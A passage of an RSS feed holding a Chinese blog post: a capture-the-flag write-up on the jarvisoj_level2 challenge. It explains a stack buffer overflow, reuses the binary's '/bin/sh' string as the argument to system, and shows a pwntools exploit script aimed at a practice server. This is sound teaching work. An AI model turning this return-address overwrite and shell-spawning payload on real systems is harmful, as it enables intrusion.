&#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://gv7.me/articles/2025/write-a-gdb-plugin-to-calc-address-info/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3da6b061&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484378%26idx%3D1%26sn%3D3f76cb3dfc0435efdf80a7631c74a326">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Sep 2025 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>从零开始学PWN学03：jarvisoj_level2</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484377&amp;idx=1&amp;sn=985d43f8742fd8c3260acf32afc49ceb</link>
      <description>跳转地址的选择与参数传递的思考</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2025-08-27 11:30</span> <span style="display: inline-block;">中国香港</span>
</p>

<p>跳转地址的选择与参数传递的思考</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d0e91324&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F075AT6bRmPffjzFyqHHS6zX8k1D79wqjmvzSxDQ4Sm8CCLzjFAxgUqiaiaBvGJH7Kt3f7gkSuL5yNgXGWHFTKJxA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">题目本身有点boring，但是细节还挺耐玩。在解题过程各种玩，各种钻牛角尖中略有收获。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x01 分析</span></h2><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3425925925925926" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000718" src="https://wechat2rss.xlab.app/img-proxy/?k=1291f241&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPffjzFyqHHS6zX8k1D79wqjLNd2XPeyibobzy1ZDeVCVLFxWs8O85s01Wky4E8ktuD2GicpSYJ1DNMg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">很明显，溢出点在read的</span><span leaf="" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.1em;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">buf</span><span leaf="">参数。</span><span leaf="" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.1em;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">buf</span><span leaf="">参数距离函数返回地址有</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">136+4=140</span></code><span leaf="">个字节，所以读入的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">256</span></code><span leaf="">个字节完全可以覆盖得到。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">接下来我们需要考虑往哪个地址跳了，发现并没有经典的后门函数，但是有</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf="">函数。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">那么我们是否可以在栈上压入一个字符串</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/bin/sh</span></code><span leaf="">来作为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf="">函数的参数呢？</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">答案是不可以。因为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf="">函数的参数是</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">char *</span></code><span leaf="">，所以我们需要去找一下程序当中原本就存在的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/bin/sh</span></code><span leaf="">,然后将它的地址放在栈上作为参数。</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(166, 226, 46);"><span leaf="">system</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">const</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">char</span></span><span leaf=""> *command)</span></span><span leaf="">{</span><span leaf="">  </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> system(command);</span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">搜到两处，我们只能用在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">level2</span></code><span leaf="">里的。因为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">libc.so.6</span></code><span leaf="">开启了地址随机化，每次运行地址有变化。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3009478672985782" data-s="300,640" data-type="png" data-w="844" style="height: auto !important;" type="block" data-imgfileid="100000719" src="https://wechat2rss.xlab.app/img-proxy/?k=016b2017&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPffjzFyqHHS6zX8k1D79wqjxWM1CI9rOnR7Q2tbKGweOIrtSy9VF1XHKibS8MiboXpfJtEzgd3RYLbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">覆盖函数返回值，我们该用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">call system</span></code><span leaf="">还是</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">system</span></code><span leaf="">定义处地址呢？</span></strong><span leaf="">答案是：其实都可以。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因此根据这两处，就有2个构造payload方案了。它们的区别主要在于需要构造的栈内存结构不太一样。</span></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p></div><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x2 利用</span></h2><h3 data-heading="true" style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(159, 38, 56);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">2.1 方式一：跳到call system处</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">call func方式栈内存布局</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">Param n</span><span leaf="">Param n-1</span><span leaf="">...</span><span leaf="">Param 1</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">payload = &#39;A&#39; * offset  + system调用处地址  + 参数1</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> *</span><span leaf="">call_system_addr = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x0804849e</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf="">#call_system_addr = 0x804845c</span></span><span leaf="">offset = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">140</span></span><span leaf="">str_bin_sh_addr = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0x0804a024</span></span><span leaf="">payload = offset * </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">b&#39;A&#39;</span></span><span leaf=""> + p32(call_system_addr) + p32(str_bin_sh_addr)</span><span leaf="">p = remote(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#39;node5.buuoj.cn&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: 